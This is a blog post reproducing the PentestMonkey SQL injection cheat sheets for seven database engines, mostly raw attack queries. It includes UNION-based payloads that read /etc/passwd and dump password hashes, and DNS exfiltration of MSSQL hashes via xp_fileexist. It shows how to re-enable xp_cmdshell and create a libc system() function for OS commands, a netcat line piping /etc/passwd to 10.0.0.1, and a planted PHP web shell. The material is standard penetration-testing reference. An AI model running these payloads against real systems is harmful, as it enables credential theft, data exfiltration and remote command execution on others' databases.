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SQL Cheat sheets

Thanks to PentestMonkey.net for this.

MySQL:

Version
 SELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User
SELECT user();
SELECT system_user();
List Users SELECT user FROM mysql.user; -- priv
List Password Hashes
 SELECT host, user, password FROM mysql.user; -- priv
Password Cracker
 John the Ripper will crack MySQL password hashes.
List Privileges

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns
List DBA Accounts

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';

SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv
Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db -- priv
List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'
Select Nth Row

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char
SELECT substr('abcd', 3, 1); # returns c
Bitwise AND 
SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

ASCII Value -> Char

 SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii('A'); # returns 65
Casting SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);
String Concatenation SELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC

If Statement

 SELECT if(1=1,'foo','bar'); -- returns 'foo'
Case Statement SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes
SELECT 0x414243; # returns ABC
Time Delay 
SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests Impossible?
Command Execution

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access
 ...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system
Hostname, IP Address Impossible?
Create Users
 CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv
Delete Users
 DROP USER test1; -- priv
Make User DBA
 GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv
Location of DB files
 SELECT @@datadir;
Default/System Databases
 information_schema (>= mysql 5.0)
mysql


MSSQL:

Version
 SELECT @@version
Comments SELECT 1 -- comment
SELECT /*comment*/1
Current User
SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users SELECT name FROM master..syslogins
List Password Hashes
 SELECT name, password FROM master..sysxlogins -- priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins -- priv, mssql 2005;
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005
Password Cracker MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.
List Privileges Impossible?
List DBA Accounts TODO
SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try 'bulkadmin', 'systemadmin' and other values from the documentation
 SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
Current Database SELECT DB_NAME()
List Databases SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); -- for N = 0, 1, 2, ...
List Columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
List Tables SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
Find Tables From Column Name -- NB: This example works only for the current database.  If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password'
Select Nth Row SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row
Select Nth Char
SELECT substring('abcd', 3, 1) -- returns c
Bitwise AND 
SELECT 6 & 2 -- returns 2
SELECT 6 & 1 -- returns 0

ASCII Value -> Char

 SELECT char(0x41) -- returns A
Char -> ASCII Value SELECT ascii('A') - returns 65
Casting SELECT CAST('1' as int);
SELECT CAST(1 as char)
String Concatenation SELECT 'A' + 'B' - returns AB

If Statement

IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1
Avoiding Quotes
SELECT char(65)+char(66) -- returns AB
Time Delay 
WAITFOR DELAY '0:0:5' -- pause for 5 seconds
Make DNS Requests

declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000

declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005

-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary.
-- Also check out theDNS tunnel feature of sqlninja
Command Execution

EXEC xp_cmdshell 'net user'; -- priv

On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
EXEC sp_configure 'show advanced options', 1; -- priv
RECONFIGURE; -- priv
EXEC sp_configure 'xp_cmdshell', 1; -- priv
RECONFIGURE; -- priv
Local File Access
 CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:\boot.ini';
DROP TABLE mydata;
Hostname, IP Address SELECT HOST_NAME()
Create Users EXEC sp_addlogin 'user', 'pass'; -- priv
Drop Users EXEC sp_droplogin 'user'; -- priv
Make User DBA EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv
Location of DB files
 TODO
Default/System Databases
 northwind
model
msdb
pubs
tempdb


PostgreSQL:

Version
 SELECT version()
Comments SELECT 1; --comment
SELECT /*comment*/1;
Current User
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List Users SELECT usename FROM pg_user
List Password Hashes
 SELECT usename, passwd FROM pg_shadow -- priv
Password Cracker
 MDCrack can crack PostgreSQL's MD5-based passwords.
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database SELECT current_database()
List Databases SELECT datname FROM pg_database
List Columns
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name

If you want to list all the table names that contain a column LIKE '%password%':

SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';
Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char
SELECT substr('abcd', 3, 1); -- returns c
Bitwise AND 
SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0

ASCII Value -> Char

 SELECT chr(65);
Char -> ASCII Value SELECT ascii('A');
Casting SELECT CAST(1 as varchar);
SELECT CAST('1' as int);
String Concatenation SELECT 'A' || 'B'; -- returnsAB

If Statement

 IF statements only seem valid inside functions, so aren't much use for SQL injection.  See CASE statement instead.
Case Statement SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A
Avoiding Quotes
SELECT CHR(65)||CHR(66); -- returns AB
Time Delay 
SELECT pg_sleep(10); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function.  Taken from here .
Make DNS Requests

Generally not possible in postgres.  However if contrib/dblink is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".
Command Execution

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv

SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user
Local File Access

CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
COPY mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres OS-level user.  Generally you won't be able to write to the web root, but it's always work a try.
-- priv user can also read/write files by mapping libc functions
Hostname, IP Address SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)
Create Users
 CREATE USER test1 PASSWORD 'pass1'; -- priv
CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time
Drop Users
 DROP USER test1; -- priv
Make User DBA
 ALTER USER test1 CREATEUSER CREATEDB; -- priv
Location of DB files
 SELECT current_setting('data_directory'); -- priv
SELECT current_setting('hba_file'); -- priv
Default/System Databases
 template0
template1


Oracle:

Version
 SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
Comments SELECT 1 FROM dual -- comment
-- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
Current User
SELECT user FROM dual
List Users SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv
List Password Hashes
 SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ -- priv, 11g
Password Cracker
 checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges SELECT * FROM session_privs; -- current privs
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles
Current Database SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases

SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user)
-- Also query TNS listener for other databases.  See tnscmd (services | status).
List Columns
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
List Tables SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are upper case
Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- gets 9th row (rows numbered from 1)
Select Nth Char
SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd character, 'c'
Bitwise AND 
SELECT bitand(6,2) FROM dual; -- returns 2
SELECT bitand(6,1) FROM dual; -- returns0

ASCII Value -> Char

 SELECT chr(65) FROM dual; -- returns A
Char -> ASCII Value SELECT ascii('A') FROM dual; -- returns 65
Casting SELECT CAST(1 AS char) FROM dual;
SELECT CAST('1' AS int) FROM dual;
String Concatenation SELECT 'A' || 'B' FROM dual; -- returns AB
If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT statements
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2
Avoiding Quotes
SELECT chr(65) || chr(66) FROM dual; -- returns AB
Time Delay 
BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow
-- Also see Heavy Queries to create a time delay
Make DNS Requests SELECT UTL_INADDR.get_host_address('google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
Command Execution

Java can be used to execute commands if it's installed.

ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File Access

UTL_FILE can sometimes be used.  Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';

Java can be used to read and write files if it's installed (it is not available in Oracle Express).
Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames
Location of DB files
 SELECT name FROM V$DATAFILE;
Default/System Databases
 SYSTEM
SYSAUX


Ingres:

Version
 select dbmsinfo('_version');
Comments SELECT 123; -- comment
select 123; /* comment */
Current User
select dbmsinfo('session_user');
select dbmsinfo('system_user');
List Users First connect to iidbdb, then:
select name, password from iiuser;
Create Users
 create user testuser with password = 'testuser';-- priv
List Password Hashes
 First connect to iidbdb, then:
select name, password from iiuser;
List Privileges select dbmsinfo('db_admin');
select dbmsinfo('create_table');
select dbmsinfo('create_procedure');
select dbmsinfo('security_priv');
select dbmsinfo('select_syscat');
select dbmsinfo('db_privileges');
select dbmsinfo('current_priv_mask');
Current Database select dbmsinfo('database');
List Columns
select column_name, column_datatype, table_name, table_owner from iicolumns;
List Tables select table_name, table_owner from iitables;
select relid, relowner, relloc from iirelation;
select relid, relowner, relloc from iirelation where relowner != '$ingres';
Select Nth Row

Astoundingly, this doesn't seem to be possible!  This is as close as you can get:

select top 10 blah from table;
select first 10 blah form table;
Select Nth Char
select substr('abc', 2, 1); -- returns 'b'
Bitwise AND 

The function "bit_and" exists, but seems hard to use.  Here's an
example of ANDing 3 and 5 together.  The result is a "byte" type
with value \001:

select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);
Casting select cast(123 as varchar);
select cast('123' as integer);
String Concatenation select 'abc' || 'def';
Time Delay 

???

See Heavy Queries article for some ideas.
Installing Locally
 The Ingres database can be downloaded for free from http://esd.ingres.com/
A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832
Database Client
 TODO
There is a client called "sql" which can be used for local connections (at least) in the  database server package above.
Logging in from command line
 $ su -  ingres
$ sql iidbdb
* select dbmsinfo('_version'); \go


The following areas are interesting enough to include on this page, but I haven't researched them for other databases:

Description SQL / Comments
Batching Queries Allowed?

Not via DBI in PERL.  Subsequent statements seem to get ignored:
select blah from table where foo = 1; select ... doesn't matter this is ignored.
FROM clause mandated in SELECTs?

No.  You don't need to select form "dual" or anything.  The following is legal:
select 1;
UNION supported

Yes.  Nothing tricky here.  The following is legal:
select 1 union select 2;
Enumerate Tables Privs
 select table_name, permit_user, permit_type from iiaccess;
Length of a string select length('abc'); -- returns 3
Roles and passwords

First you need to connect to iidbdb, then:
select roleid, rolepass from iirole;
List Database Procedures

First you need to connect to iidbdb, then:
select dbp_name,  dbp_owner from iiprocedure;
Create Users + Granting Privs

First you need to connect to iidbdb, then:
create user pm with password = 'password';
grant all on current installation to pm;


DB2:

Version
 select versionnumber, version_timestamp from sysibm.sysversions;
Comments select blah from foo; -- comment like this
Current User
select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;
List Users

N/A (I think DB2 uses OS-level user accounts for authentication.)

Database authorities (like roles, I think) can be listed like this:
select grantee from syscat.dbauth;
List Password Hashes
 N/A (I think DB2 uses OS-level user accounts for authentication.)
List Privileges select * from syscat.tabauth; -- privs on tables
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
Current Database select current server from sysibm.sysdummy1;
List Databases SELECT schemaname FROM syscat.schemata;
List Columns
select name, tbname, coltype from sysibm.syscolumns;
List Tables select name from sysibm.systables;
Select Nth Row select name from (SELECT name FROM sysibm.systables order by
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
Select Nth Char
SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1;  -- returns b
Bitwise AND 
This page seems to indicate that DB2 has no support for bitwise operators!

ASCII Value -> Char

 select chr(65) from sysibm.sysdummy1; -- returns 'A'
Char -> ASCII Value select ascii('A') from sysibm.sysdummy1; -- returns 65
Casting SELECT cast('123' as integer) FROM sysibm.sysdummy1;
SELECT cast(1 as char) FROM sysibm.sysdummy1;
String Concatenation SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'


Informix:

Version
 SELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1;
SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid = 1;
SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables WHERE tabid = 1;
SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1; -- T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix
Comments select 1 FROM systables WHERE tabid = 1; -- comment
Current User

SELECT USER FROM systables WHERE tabid = 1;
select CURRENT_ROLE FROM systables WHERE tabid = 1;
List Users select username, usertype, password from sysusers;
List Privileges select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; -- which tables are accessible by which users
select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; -- which procedures are accessible by which users
Current Database SELECT DBSERVERNAME FROM systables where tabid = 1; -- server name
List Databases select name, owner from sysdatabases;
List Columns
select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid;
List Tables select tabname, owner FROM systables;
select tabname, viewtext FROM sysviews  join systables on systables.tabid = sysviews.tabid;
List Stored Procedures
 select procname, owner FROM sysprocedures;
Find Tables From Column Name select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like '%pass%';
Select Nth Row select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; -- selects the 10th row
Select Nth Char
SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM systables where tabid = 1; -- returns 'C'
Bitwise AND 
select bitand(6, 1) from systables where tabid = 1; -- returns 0
select bitand(6, 2) from systables where tabid = 1; -- returns 2
Char -> ASCII Value select ascii('A') from systables where tabid = 1;
Casting select cast('123' as integer) from systables where tabid = 1;
select cast(1 as char) from systables where tabid = 1;
String Concatenation SELECT 'A' || 'B' FROM systables where tabid = 1; -- returns 'AB'
SELECT concat('A', 'B') FROM systables where tabid = 1; -- returns 'AB'
String Length
 SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables;
Case Statement select tabid, case when tabid>10 then "High" else 'Low' end from systables;
Hostname, IP Address SELECT DBINFO('dbhostname') FROM systables WHERE tabid = 1; -- hostname
Default/System Databases
 These are the system databases:
sysmaster
sysadmin*
sysuser*
sysutils*

* = don't seem to contain anything / don't allow reading
Installing Locally

You can download Informix Dynamic Server Express Edition 11.5 Trial for Linux and Windows.
Database Client
 There's a database client SDK available, but I couldn't get the demo client working.
I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers ("emerge dev-java/jdbc-informix" on Gentoo).
Logging in from command line

If you get local admin rights on a Windows box and have a GUI logon:

  • Click: Start | All Programs | IBM Informix Dynamic Server 11.50 | someservername.  This will give you a command prompt with various Environment variables set properly.
  • Run dbaccess.exe from your command prompt.  This will bring up a text-based GUI that allows you to browse databases.

The following were set on my test system.  This may help if you get command line access, but can't get a GUI - you'll need to change "testservername":

set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50<br />set INFORMIXSERVER=testservername<br />set ONCONFIG=ONCONFIG.testservername<br />set PATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\PROGRA~1\ibm\gsk7\bin;C:\PROGRA~1\ibm\gsk7\lib;C:\Program Files\IBM\Informix\Clien-SDK\bin;C:\Program Files\ibm\gsk7\bin;C:\Program Files\ibm\gsk7\lib<br />set CLASSPATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\extend\krakatoa\krakatoa.jar;C:\PROGRA~1\IBM\IBMINF~1\11.50\xtend\krakatoa\jdbc.jar;<br />set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp<br />set CLIENT_LOCALE=EN_US.CP1252<br />set DB_LOCALE=EN_US.8859-1<br />set SERVER_LOCALE=EN_US.CP1252<br />set DBLANG=EN_US.CP1252<br />mode con codepage select=1252<br />
 
Identifying on the network

My default installation listened on two TCP ports: 9088 and 9099.  When I created a new "server name", this listened on 1526/TCP by default.  Nmap 4.76 didn't identify these ports as Informix:

$ sudo nmap -sS -sV 10.0.0.1 -p- -v --version-all
...
1526/tcp open  pdap-np?
9088/tcp open  unknown
9089/tcp open  unknown
...
TODO How would we identify Informix listening on the network?

 

This entry was posted on July 7th, 2010 at 11:13:00 am by JF and is filed under Uncategorized.

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